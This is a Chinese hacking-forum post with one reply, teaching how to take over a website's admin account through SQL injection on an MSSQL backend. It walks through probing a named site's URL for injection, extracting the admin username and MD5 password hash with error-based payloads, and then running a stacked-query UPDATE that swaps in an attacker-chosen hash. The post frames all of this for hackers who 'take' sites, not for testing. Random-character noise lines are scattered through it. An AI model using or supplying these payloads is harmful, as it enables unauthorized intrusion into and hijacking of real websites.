中国网络渗透测试联盟
标题:
SQL注入直接修改管理员密码的MD5值
[打印本页]
作者:
admin
时间:
2012-9-13 17:55
标题:
SQL注入直接修改管理员密码的MD5值
经常拿站的黑阔们一定经常碰到,某个网站有注入,管理员帐号和密码多暴出来了。
% n& @# k. S. K3 c
可是密码是MD5加密的。而且在线的MD5解密不了。你说咋办?直接修改管理员密码的MD5值。然后进后台!(当然是有条件的。MSSQL)
/ s, A5 U- z+ W2 `/ R7 J* P
测试如下:
7 o7 o1 i; }0 a; O9 Q/ H' s
http://www.tmdsb.com/news.asp?id=121
" h& r4 s! ]3 H6 {9 J; t- F7 k% G. j
在地址后输入单引号,显示
- a l v. F' F
Microsoft OLE DB Provider for SQL Server 错误 ’80040e14’
+ S6 I0 Y& P! f; d( P) p& |
字符串 ’’’ 之前有未闭合的引号
" @" o% V( @ M
/news/tmdws.asp,行63
7 ^4 L' ?5 X" u* I
说明没有过滤单引号且数据库是MSSQL.
, j* Q2 l7 m; r5 q2 e2 D2 H
and 1=1正常。and 1=2出错。肯定存在注入
( E! x' ~ h D; j# m7 p% ^' Q
接着输入
6 A/ ?! _0 ~ r& V
http://www.tmdsb.com/news.asp?id=1
or admin_user in (select id from admin)
( u" V) o$ Z% @4 ?2 e
得到帐号为:admin
- x% J$ t2 U: d8 `# w
http://www.tmdsb.com/news.asp?id=121
or admin_password in (select id from admin)
2 X5 y* a/ h9 H9 i7 N7 d2 s. z8 z. i% H
得到密码为:a4716077c2ba075c
3 p- D! c6 }- R6 T( C
接下来我们就可以改密码了。但我们先前要知道我们加密的字符:e8dc763194f29433
- z0 c1 l. S `1 Y
命令如下 :
& ?. Y+ O& y( T* q; Z2 y! u H
;update shop_admin set password=’e8dc763194f29433’ where password=’a4716077c2ba075c’–
3 F; q# n6 c4 M
这句的意思就是用e8dc763194f29433替换a4716077c2ba075c,以达到修改密码的目的
作者:
angel
时间:
2012-9-14 16:22
没法说 一个字牛
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2